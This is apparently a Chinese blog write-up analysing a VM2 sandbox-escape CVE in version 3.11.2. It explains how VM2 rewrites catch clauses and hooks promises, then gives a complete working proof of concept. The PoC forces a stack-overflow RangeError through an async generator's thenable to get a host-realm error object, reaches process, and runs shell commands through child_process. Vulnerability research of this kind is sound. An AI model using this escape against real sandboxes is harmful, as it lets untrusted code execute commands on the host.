很新的重磅CVE,VM2利用底层的V8进行的沙箱逃逸
为此,clone了一份VM2@3.11.2的源码
入口是
run(code, options) { let script; let filename;
if (typeof options === 'object') { filename = options.filename; } else { filename = options; }
if (code instanceof VMScript) { script = code._compileVM(); checkAsync(this._allowAsync || !code._hasAsync); } else { const useFileName = filename || 'vm.js'; let scriptCode = this._compiler(code, useFileName); const ret = transformer(null, scriptCode, false, false, useFileName); scriptCode = ret.code; checkAsync(this._allowAsync || !ret.hasAsync); // Compile the script here so that we don't need to create a instance of VMScript. script = new Script(scriptCode, { __proto__: null, filename: useFileName, displayErrors: false, }); }可以看到核心校验在const ret = transformer(null, scriptCode, false, false, useFileName);
code被传入了transformer,
可以看到最上面就导入了const {full: acornWalkFull} = require(‘acorn-walk’);
AST的语法扫描库,动态扫描AST的每一个节点,那看看是怎么进行判断的
acornWalkFull(ast, (node, state, type) => { if (type === 'Function') { if (node.async) hasAsync = true; } const nodeType = node.type; if (nodeType === 'CatchClause') { const param = node.param; if (param) { if (param.type === 'Identifier') { const name = assertType(param, 'Identifier').name; const cBody = assertType(node.body, 'BlockStatement'); if (cBody.body.length > 0) { insertions.push({ __proto__: null, pos: cBody.body[0].start, order: TO_LEFT, coder: () => `name={INTERNAL_STATE_NAME}.handleException(${name});` }); } } else { insertions.push({ __proto__: null, pos: node.start, order: TO_RIGHT, coder: () => `catch(${tmpname}){tmpname={INTERNAL_STATE_NAME}.handleException(${tmpname});try{throw ${tmpname};}` }); insertions.push({ __proto__: null, pos: node.body.end, order: TO_LEFT, coder: () => `}` }); } }当传入的代码有catch error时
为了防止拿到constructor的function方法,这里对于AST树做了push, 改写 catch,
让异常先过 handleException ,当然,promise在bridge.js也做了hook,
在VM2表面的源码来看仿佛是没什么可能性了,
在Promise和异常被ban的情况下,这个CVE揭示了一些新的方向思考
nodejs,以及chrome内核原始的js都是依赖于V8的实现,
这个引擎是C为底层实现的
难点在于我们如何不通过上述的两种方式以调用异常
catch不行,new一个error类也不行,因为类已经经过了净化,这里就可以调用非catch和promise
的方法去获取error对象,请看
class E extends Error {}
function so(d) { if (d > 0) so(d - 1);
const e = new E(); e.stack;
throw e;}这里传入的d可以是两种结果,当然,
这是尚未经过catch的e
async function* helper() { yield* { [Symbol.asyncIterator]: () => ({ next: v => ({ value: v, done: false }) }) };}
async function doCatch(f) { const i = helper();
await i.next();
const v = await i.return({ then(r) { f(); r(); } });
return v.value;}
(async function f() { let min = 0; let max = 10000000;
while (min < max) { const mid = (min + max) >> 1;
const e = await doCatch(() => so(mid));
if (e.name === "RangeError" && !(e instanceof RangeError)) { const process = e.constructor.constructor("return process")(); const cp = process.mainModule.require("child_process");
const cmd = process.platform === "win32" ? "cmd /c echo pwned>pwned.txt" : "touch pwned";
cp.execSync(cmd);
return "escaped"; }
if (e instanceof E) { min = mid + 1; } else { max = mid; } }
return "not triggered";})();so只有两个结果,一个是爆栈,另一个就是抛RangeError.
helper是异步迭代生成器,当一个对象要想有异步迭代iterator
在 const e = await doCatch(() => so(mid));时候doCatch可能会收到RangeError,
然后i.return尝试关闭 generator,并处理传入的 thenable
i.return({ then(r) { f(); r(); } });这其中是有then方法的,V8会默认调用,then里会执行so(mid),这里可能会抛出的RangeError就会被通过
V8默认调用的方法跑完这个流程,并且赋值给e,
这时已经完成了对VM2的绕过,这里并未利用catch和promise等等方法,拿到e后,
const process = e.constructor.constructor(“return process”)();
至此终了了
部分信息可能已经过时





